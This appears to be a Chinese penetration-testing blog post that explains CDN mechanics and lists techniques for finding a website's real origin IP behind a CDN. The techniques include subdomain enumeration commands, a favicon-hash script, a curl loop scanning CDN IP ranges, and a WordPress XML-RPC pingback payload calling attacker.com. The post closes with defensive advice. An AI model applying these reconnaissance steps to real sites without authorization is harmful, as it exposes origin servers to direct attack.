【CDN安全】解析工作机制+CDN绕过技巧全解析

随笔2个月前发布 幻影
69 0 0
一、CDN工作原理简析
    1.1 用户请求
    1.2 DNS解析到CDN节点
    1.3 CDN节点处理
    1.4 内容呈现 
    1.5 安全切入点 

二、绕过技巧大揭秘
    2.1 历史DNS记录挖掘
    2.2 子域名枚举+爆破
    2.3 邮件头分析大法
    2.4 SSL证书情报收集
    2.5 文件引用分析
    2.6 Favicon哈希碰撞
    2.7 敏感信息泄露
    2.8 CDN节点IP段扫描
    2.9 利用XML-RPC

三、总结

原创 VlangCN HW安全之路

随着网络安全意识的提升,越来越多的网站开始使用CDN来隐藏真实IP,增强安全性。
但作为渗透测试人员,我们有时需要直接与源站交互。
那么如何绕过CDN找到网站真实IP呢❓

一、CDN工作原理简析

在讲解绕过技巧前,我们先简单回顾下CDN的工作机制:

1.1 用户请求

用户输入网址,触发DNS查询
浏览器准备HTTP请求,建立TCP连接
发送HTTP/HTTPS请求

1.2 DNS解析到CDN节点

本地DNS逐级查询直到权威服务器
获得CDN的CNAME记录
CDN的DNS服务器进行智能解析
返回最优CDN节点IP

1.3 CDN节点处理

解析HTTP请求
检查多级缓存(内存、SSD、HDD)
缓存命中则返回内容
缓存未命中触发回源:
    与源站建立连接
    请求内容并接收响应
    处理响应,决定是否缓存
准备响应给用户

1.4 内容呈现

CDN节点发送HTTP响应
浏览器接收并处理响应
解析DOM,加载资源
渲染页面,执行脚本

1.5 安全切入点

DNS阶段:寻找未保护子域名,分析历史记录
路由阶段:构造特殊请求绕过CDN
缓存阶段:尝试缓存投毒,强制回源
回源阶段:HTTP请求走私,分析回源特征
响应阶段:识别CDN供应商,利用优化功能漏洞
客户端阶段:插入恶意代码,分析信息泄露

可以看到,CDN巧妙地隐藏了源站IP,增加了攻击难度。但天下无难事,只怕有心人。下面我们就来看看如何突破这层防护。

二、绕过技巧大揭秘

2.1 历史DNS记录挖掘

很多网站在迁移到CDN之前,A记录是直接指向源站IP的。我们可以借助一些在线工具来查询历史DNS记录:

SecurityTrails

https://securitytrails.com/ 

ViewDNS.info

https://viewdns.info/ 

使用示例:

$ curl -s "https://securitytrails.com/domain/example.com/history/a"

2.2 子域名枚举+爆破

有时某些子域名可能疏忽大意,忘记配置CDN。我们可以通过子域名枚举来碰碰运气:

工具推荐:


使用示例:

$ python sublist3r.py -d example.com
$ amass enum -d example.com

得到子域名列表后,可以用httpx等工具批量探测,看是否有直接暴露IP的。

2.3 邮件头分析大法

如果目标的邮件服务器和web服务器同IP,那邮件头中可能包含真实IP信息。

可以尝试:

注册账号,使用密码重置功能
给不存在的邮箱发邮件,触发退信

分析示例:

Received: from mail.example.com (203.0.113.1) by ...

2.4 SSL证书情报收集

有时候SSL证书中会意外包含真实IP。可以使用这些工具搜索:

Censys

https://censys.io/

Shodan

https://www.shodan.io/

2.5 文件引用分析

网站的静态资源(如js、css等)可能直接引用了源站IP。可以仔细检查网页源码,寻找类似:

<script src="https://203.0.113.1/main.js"></script>

2.6 Favicon哈希碰撞

网站图标的哈希值可以用来在Shodan等平台搜索相关IP。

使用Python脚本生成哈希:

import mmh3
import requests
import codecs

response = requests.get('https://example.com/favicon.ico')
favicon = codecs.encode(response.content, 'base64')
hash = mmh3.hash(favicon)
print(hash)

然后在Shodan搜索:

http.favicon.hash:123456789

2.7 敏感信息泄露

一些网站可能在某些页面不小心泄露了真实IP。可以尝试:

robots.txt
sitemap.xml
phpinfo页面
错误页面

2.8 CDN节点IP段扫描

这是一个比较暴力但有效的方法。步骤如下:

a) 确定目标使用的CDN提供商
b) 获取该CDN的IP段
c) 扫描IP段,结合Host头访问

示例脚本:

for ip in $(seq 1 254); do
  curl -H "Host: example.com" http://104.16.0.$ip
done

2.9 利用XML-RPC

如果目标是WordPress站点,可以尝试利用XML-RPC:

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>pingback.ping</methodName> 
<params>
 <param>
  <value><string>http://attacker.com/</string></value>
 </param>
 <param>
  <value><string>http://target.com/?p=1</string></value>
 </param>
</params>
</methodCall>

这可能触发目标服务器主动连接我们控制的服务器,暴露真实IP。

三、总结

以上就是一些常见的CDN绕过技巧。在实战中,往往需要组合多种方法才能见效。同时提醒大家,未经授权的测试可能违法,请谨慎行事。

最后,站在防守的角度,我们要:

确保所有子域名都配置了CDN
不在源站直接对外提供服务
使用独立的邮件服务器
仔细检查网站代码,避免IP泄露
对源站进行适当加固
© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...